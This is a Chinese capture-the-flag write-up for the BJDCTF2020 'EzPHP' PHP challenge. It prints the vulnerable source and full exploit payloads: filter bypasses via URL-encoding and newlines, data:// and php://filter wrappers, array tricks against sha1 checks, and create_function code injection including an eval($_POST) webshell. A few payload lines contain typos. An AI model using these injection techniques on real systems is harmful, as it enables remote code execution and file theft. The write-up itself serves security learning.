#[BJDCTF2020]EzPHP(PHP特性绕过闯关)
[BJDCTF2020]EzPHP(PHP特性绕过闯关)
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
解题思路
可以看到我们如果需要拿到flag就要穿过6个if。据出题人的说法,本题考察的是create_function()函数。题目我看了。看不懂。既然考察的是create_function()。知识点也在我们能力范畴之外。因此跟着出题人的WP复现了一波。
核心考点:Create_function()
用法如下。用于创建一个方法,变量名为方法名,第一个参数为新方法的形参,第二个参数为新方法的内容。
由于题目中我们的code是可控的,那么我们可以构造如下函数:
<?php
$myFunc = create_function('$a,$b','return ($a+$b);}eval($_POST[1]);\\')
#如此一来执行的myFunc就变成了
function myFunc($a,$b){
return ($a+$b);}
eval($_POST[1]);\\
}
在这里可以看见我们成功嵌入了一段一句话木马。
考点1:绕过QUERY_STRING的正则匹配
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
php中因为$_SERVER['QUERY_STRING']不会进行urldecode,而$_GET[]会进行解码。因此我们通过urlencode绕过该正则匹配。
payload1:?file=
考点2:绕过aqua_is_cute的正则匹配
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')
因为是^.+$形式的正则匹配。那么直接使用换行符%0a绕过。因为debu,auqa,cute在第一个If中。因此对他三个进行urlencode.
注意这里的%0a是用来满足debu!==aqua_is_cute。
payload2:debu=aqua_is_cute%0a==>%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
考点3:绕过$_REQUEST的字母匹配。
foreach($_REQUEST as $value)
if(preg_match('/[a-zA-Z]/i', $value))
这里是通过数组遍历的方式,来进行正则匹配。那么我们传入的参数。
知识点是,在post和get同时存在时,request提取post数据的优先级高于get。因此我们post给file=1&debu=1
GET:debu=aqua_is_cute%0a&file=
urlencde:%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=
POST:file=1&debu=1
考点4:绕过文件内容读取的比较
if (file_get_contents($file) !== 'debu_debu_aqua')
因为file_get_contents的特性。我们可以考虑使用php伪协议来绕过这个点。因为debu_debu_aqua在第一个if中。所以Urlencode
payload4:
GET:debu=aqua_is_cute&file=data://text/plain,base64,debu_debu_aqua urlencncode:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
POST:file=1&debu=1
data://text/plain;base64,debu_debu_aqua
考点5:绕过sha1松散比较
if ( sha1($shana) === sha1($passwd) && $shana != $passwd )
因为sha1无法处理数组,因此我们通过数组绕过。
payload5:
GET:debu=aqua_is_cute&file=data://text/plain;base64,debu_debu_aqua&shanap[]=1&passwd[]=2
urlencode:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2
POST:file=1&debu=1
create_function:
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
前面都绕过了。那么我们要如何去读到这个flag呢。首先可以看到文件中有包含flag.php。那么一定存在$flag变量。
那么我们可以通过读取变量的方式.使用get_defined_vars()。再根据create_function。因为code做了很多过滤。我们可以想到用字母数字的webshell。再看题目上是$code(' ',$arg);这里我们的两个点都可控。
$code=create_function&$arg=}var_dump(get_defined_vars());\
因为code,和arg都在第一个if中。所以进行urlencode
最终payload:
GET:debu=aqua_is_cute&file=data://text/plain;base64,debu_debu_aqua&shanap[]=1&passwd[]=2
urlencode:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}var_dump(get_defined_vars());//
POST:file=1&debu=1
可恶!给出了真实flag的位置1fl4g.php。那么我们继续想办法去读这个文件。
根据上面的get_defined_vars();那么很容易想到我们把这个rea1fl4g.php也包含进来。
require(rea1fl4g.php);
发现也读不到源码
原题目的预期解是这个。但是加了base64_decode来解码。因为code被Ban了。那么继续对base64_decode进行urlencode
原题目payload:
GET:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}require(%62%61%73%65%36%34%5F%64%65%63%6F%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
POST:file=1&debu=1
本题payload:
因为~没有被过滤。那么可以进行取反构造php://filter伪协议来读取flag.
php://filter/read=convert.base64-encode/resource=rea1fl4g.php
GET:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//
POST:file=1&debu=1
唯一一个我看得懂的非预期解:
GET:
file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}var_dump(require(end(pos(get_defined_vars()))));//&k1he=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%72%65%61%64%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%65%6E%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%72%65%61%31%66%6C%34%67%2E%70%68%70
POST:
file=1&debu=2&k1he=1
主要看这个flag[code]=}var_dump(require(end(pos(get_defined_vars()))));//
因为pos()取内部指针的首个元素,得到一个我们传参的GET数组
可以看见我们在传参k1he=php伪协议以后,这个数组中有了这个东西。
然后利用end()取这个数组的最后一个数,那不就是我们的伪协议吗。
那么就等价于了一个文件包含伪协议。
又因为我们的k1he不是数组,绕不过全是字母的正则匹配。因此传参里再加一个k1he=1来绕过。